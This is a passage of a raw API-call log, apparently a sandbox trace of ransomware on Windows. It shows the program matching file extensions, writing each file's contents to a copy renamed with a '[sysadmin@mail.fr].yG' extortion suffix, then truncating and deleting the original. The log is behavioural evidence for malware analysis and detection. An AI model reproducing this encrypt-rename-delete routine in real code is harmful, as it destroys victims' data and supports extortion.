	[0154.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0154.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0154.401] lstrlenW (lpString=".doc") returned 4
	[0154.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.401] lstrlenW (lpString=".docx") returned 5
	[0154.401] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0154.401] lstrlenW (lpString=".pdf") returned 4
	[0154.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.401] lstrlenW (lpString=".xls") returned 4
	[0154.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.401] lstrlenW (lpString=".xlsx") returned 5
	[0154.401] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0154.401] lstrlenW (lpString=".ppt") returned 4
	[0154.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0154.401] lstrlenW (lpString=".zip") returned 4
	[0154.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.402] lstrlenW (lpString=".rar") returned 4
	[0154.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.402] lstrlenW (lpString=".bz2") returned 4
	[0154.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.402] lstrlenW (lpString=".7z") returned 3
	[0154.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0154.402] lstrlenW (lpString=".dbf") returned 4
	[0154.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0154.402] lstrlenW (lpString=".1cd") returned 4
	[0154.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0154.402] lstrlenW (lpString=".jpg") returned 4
	[0154.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.402] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0154.402] lstrlenW (lpString="J0099145.JPG") returned 12
	[0154.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.405] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=24759) returned 1
	[0154.405] CloseHandle (hObject=0x540) returned 1
	[0154.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220
	[0154.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.405] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.406] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0154.406] GetLastError () returned 0x0
	[0154.406] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x60b7, lpOverlapped=0x0) returned 1
	[0154.808] WriteFile (in: hFile=0x350, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x60c0, lpOverlapped=0x0) returned 1
	[0154.810] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.810] WriteFile (in: hFile=0x350, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.810] SetEndOfFile (hFile=0x350) returned 1
	[0154.810] CloseHandle (hObject=0x350) returned 1
	[0154.811] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.811] SetEndOfFile (hFile=0x540) returned 1
	[0154.887] CloseHandle (hObject=0x540) returned 1
	[0154.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1
	[0154.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0154.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0154.888] lstrlenW (lpString=".doc") returned 4
	[0154.888] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.888] lstrlenW (lpString=".docx") returned 5
	[0154.888] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0154.888] lstrlenW (lpString=".pdf") returned 4
	[0154.889] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0154.889] lstrlenW (lpString=".xls") returned 4
	[0154.889] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0154.889] lstrlenW (lpString=".xlsx") returned 5
	[0154.889] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0154.889] lstrlenW (lpString=".ppt") returned 4
	[0154.889] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0154.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0154.889] lstrlenW (lpString=".zip") returned 4
	[0154.889] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0154.889] lstrlenW (lpString=".rar") returned 4
	[0154.889] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0154.889] lstrlenW (lpString=".bz2") returned 4
	[0154.889] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0154.889] lstrlenW (lpString=".7z") returned 3
	[0154.889] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0154.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0154.889] lstrlenW (lpString=".dbf") returned 4
	[0154.889] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0154.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0154.889] lstrlenW (lpString=".1cd") returned 4
	[0154.889] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0154.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0154.889] lstrlenW (lpString=".jpg") returned 4
	[0154.889] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0154.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0154.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0154.890] lstrlenW (lpString=".doc") returned 4
	[0154.890] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.890] lstrlenW (lpString=".docx") returned 5
	[0154.890] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0154.890] lstrlenW (lpString=".pdf") returned 4
	[0154.890] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0154.890] lstrlenW (lpString=".xls") returned 4
	[0154.890] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0154.890] lstrlenW (lpString=".xlsx") returned 5
	[0154.890] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0154.890] lstrlenW (lpString=".ppt") returned 4
	[0154.890] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0154.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0154.890] lstrlenW (lpString=".zip") returned 4
	[0154.890] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0154.890] lstrlenW (lpString=".rar") returned 4
	[0154.890] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0154.890] lstrlenW (lpString=".bz2") returned 4
	[0154.890] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0154.890] lstrlenW (lpString=".7z") returned 3
	[0154.890] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0154.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0154.890] lstrlenW (lpString=".dbf") returned 4
	[0154.890] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0154.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0154.890] lstrlenW (lpString=".1cd") returned 4
	[0154.890] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0154.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0154.891] lstrlenW (lpString=".jpg") returned 4
	[0154.891] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0154.891] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0154.891] lstrlenW (lpString="J0099152.JPG") returned 12
	[0154.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.892] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=11694) returned 1
	[0154.892] CloseHandle (hObject=0x540) returned 1
	[0154.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220
	[0154.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.892] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.892] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.893] GetLastError () returned 0x0
	[0154.893] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2dae, lpOverlapped=0x0) returned 1
	[0154.895] WriteFile (in: hFile=0x52c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2db0, lpOverlapped=0x0) returned 1
	[0154.897] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.897] WriteFile (in: hFile=0x52c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.897] SetEndOfFile (hFile=0x52c) returned 1
	[0154.897] CloseHandle (hObject=0x52c) returned 1
	[0154.897] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.897] SetEndOfFile (hFile=0x540) returned 1
	[0154.900] CloseHandle (hObject=0x540) returned 1
	[0154.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1
	[0154.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0154.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0154.902] lstrlenW (lpString=".doc") returned 4
	[0154.902] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.902] lstrlenW (lpString=".docx") returned 5
	[0154.902] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0154.902] lstrlenW (lpString=".pdf") returned 4
	[0154.902] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0154.902] lstrlenW (lpString=".xls") returned 4
	[0154.902] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0154.902] lstrlenW (lpString=".xlsx") returned 5
	[0154.902] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0154.902] lstrlenW (lpString=".ppt") returned 4
	[0154.902] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0154.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0154.902] lstrlenW (lpString=".zip") returned 4
	[0154.902] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0154.902] lstrlenW (lpString=".rar") returned 4
	[0154.902] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0154.902] lstrlenW (lpString=".bz2") returned 4
	[0154.902] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0154.902] lstrlenW (lpString=".7z") returned 3
	[0154.903] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0154.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0154.903] lstrlenW (lpString=".dbf") returned 4
	[0154.903] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0154.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0154.903] lstrlenW (lpString=".1cd") returned 4
	[0154.903] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0154.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0154.903] lstrlenW (lpString=".jpg") returned 4
	[0154.903] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0154.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0154.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0154.903] lstrlenW (lpString=".doc") returned 4
	[0154.903] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.903] lstrlenW (lpString=".docx") returned 5
	[0154.903] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0154.903] lstrlenW (lpString=".pdf") returned 4
	[0154.903] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0154.903] lstrlenW (lpString=".xls") returned 4
	[0154.903] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0154.903] lstrlenW (lpString=".xlsx") returned 5
	[0154.903] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0154.903] lstrlenW (lpString=".ppt") returned 4
	[0154.903] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0154.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0154.903] lstrlenW (lpString=".zip") returned 4
	[0154.904] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0154.904] lstrlenW (lpString=".rar") returned 4
	[0154.904] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0154.904] lstrlenW (lpString=".bz2") returned 4
	[0154.904] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0154.904] lstrlenW (lpString=".7z") returned 3
	[0154.904] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0154.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0154.904] lstrlenW (lpString=".dbf") returned 4
	[0154.904] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0154.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0154.904] lstrlenW (lpString=".1cd") returned 4
	[0154.904] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0154.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0154.904] lstrlenW (lpString=".jpg") returned 4
	[0154.904] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0154.904] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0154.904] lstrlenW (lpString="J0099153.WMF") returned 12
	[0154.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.905] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=13874) returned 1
	[0154.905] CloseHandle (hObject=0x540) returned 1
	[0154.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220
	[0154.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.906] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.906] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.907] GetLastError () returned 0x0
	[0154.907] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x3632, lpOverlapped=0x0) returned 1
	[0154.909] WriteFile (in: hFile=0x52c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x3640, lpOverlapped=0x0) returned 1
	[0154.910] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.910] WriteFile (in: hFile=0x52c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.910] SetEndOfFile (hFile=0x52c) returned 1
	[0154.911] CloseHandle (hObject=0x52c) returned 1
	[0154.911] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.911] SetEndOfFile (hFile=0x540) returned 1
	[0155.406] CloseHandle (hObject=0x540) returned 1
	[0155.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0156.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1
	[0156.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0156.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0156.637] lstrlenW (lpString=".doc") returned 4
	[0156.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.638] lstrlenW (lpString=".docx") returned 5
	[0156.638] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0156.638] lstrlenW (lpString=".pdf") returned 4
	[0156.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.638] lstrlenW (lpString=".xls") returned 4
	[0156.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.638] lstrlenW (lpString=".xlsx") returned 5
	[0156.638] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0156.639] lstrlenW (lpString=".ppt") returned 4
	[0156.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0156.639] lstrlenW (lpString=".zip") returned 4
	[0156.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.639] lstrlenW (lpString=".rar") returned 4
	[0156.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.640] lstrlenW (lpString=".bz2") returned 4
	[0156.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.640] lstrlenW (lpString=".7z") returned 3
	[0156.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0156.641] lstrlenW (lpString=".dbf") returned 4
	[0156.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0156.641] lstrlenW (lpString=".1cd") returned 4
	[0156.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0156.641] lstrlenW (lpString=".jpg") returned 4
	[0156.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
